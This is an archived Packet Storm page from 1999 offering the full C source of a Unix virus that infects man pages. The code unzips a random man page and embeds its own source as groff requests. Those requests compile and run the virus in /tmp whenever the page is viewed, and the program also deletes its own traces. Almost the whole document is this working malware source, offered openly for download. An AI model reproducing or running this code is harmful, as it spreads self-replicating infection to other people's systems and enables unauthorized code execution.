what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

unix_virus.c

unix_virus.c
Posted Sep 28, 1999

A fully functional unix virus that will infect your manpages when started

tags | exploit, virus
systems | unix
SHA-256 | 7a21d58433fa270c7e2dad8c566f8df79a0b4d09c4e1d0864c08a4f8b8dd1733

unix_virus.c

Change Mirror Download
/*** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
***/
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <stdlib.h>

const char *viriiSource = "/tmp/virus.c";
const char *tmpVictum = "/tmp/victum";
const char *ident = ".\x5c\x22VIRUS\x0a";
char path[] = "/usr/man/manx";
int wasZipped = 0;

char *findVictum();
int infectVictum(char *);

int main(int argc, char **argv)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(*argv);
}

char *findVictum()
{
DIR *dp;
FILE *fd;
struct dirent *de;
int index = 0;
char buf[1000];
static char pathname[1000];


/* inititialization */
memset(buf, 0, 1000);
memset(pathname, 0, 1000);
srand(time(NULL));
index = rand() % 3;
path[12] = index + 49;

if ((dp = opendir(path)) == NULL) {
return NULL;
}

/* skip "." and ".." */
readdir(dp); readdir(dp);

while (1) {
/* read next entry */
if ((de = readdir(dp)) == NULL) {
closedir(dp);
return NULL;
}
/* create full pathname */
sprintf(pathname, "%s/%s", path, de->d_name);

/* if zipped */
if (strstr(pathname, ".gz")) {
sprintf(buf, "gunzip %s", pathname);
system(buf);
wasZipped = 1;

/* without '.gz' */
pathname[strlen(pathname) - 3 ] = 0;
}


/* get next filename from directory */
if ((fd = fopen(pathname, "r")) == NULL) {
continue;
}
fgets(buf, 100, fd);

/* look if not already infected */
if (strcmp(buf, ident) == 0) {
fclose(fd);
memset(buf, 0, 1000);
memset(pathname, 0, 1000);
} else {
fclose(fd);
return pathname;
}
}
}

int infectVictum(char *victum)
{
char buf[1000];
FILE *virusIn, *victumIn, *tmpOut;

memset(buf, 0, 1000);

if ((virusIn = fopen(viriiSource, "r")) == NULL) {
return 1;
}

if ((tmpOut = fopen(tmpVictum, "a")) == NULL) {
fclose(virusIn);
return 1;
}
if ((victumIn = fopen(victum, "r")) == NULL) {
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}

/* write ident-string to man-page */
fprintf(tmpOut, "%s", ident);

/* and append the original man-page */
while (fgets(buf, 999, victumIn) != NULL) {
fprintf(tmpOut, "%s", buf);
memset(buf, 1000, 0);
}
fclose(victumIn);

/* finally append virus-code to it */
sprintf(buf, ".opena v %s\x0a", viriiSource);
fprintf(tmpOut, "%s", buf);
memset(buf, 0, 1000);

while (fgets(buf, 999, virusIn) != NULL) {
fprintf(tmpOut, ".write v %s", buf);
memset(buf, 0, 1000);
}
sprintf(buf, ".pso cc %s -o /tmp/virus;/tmp/virus &\x0a", viriiSource);
fprintf(tmpOut, "%s", buf);

fclose(virusIn);
fclose(tmpOut);

unlink(victum);

/* our smart-copy ;-) */
link(tmpVictum, victum);
unlink(tmpVictum);

if (wasZipped) {
sprintf(buf, "gzip %s", victum);
system(buf);
}
return 0;
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close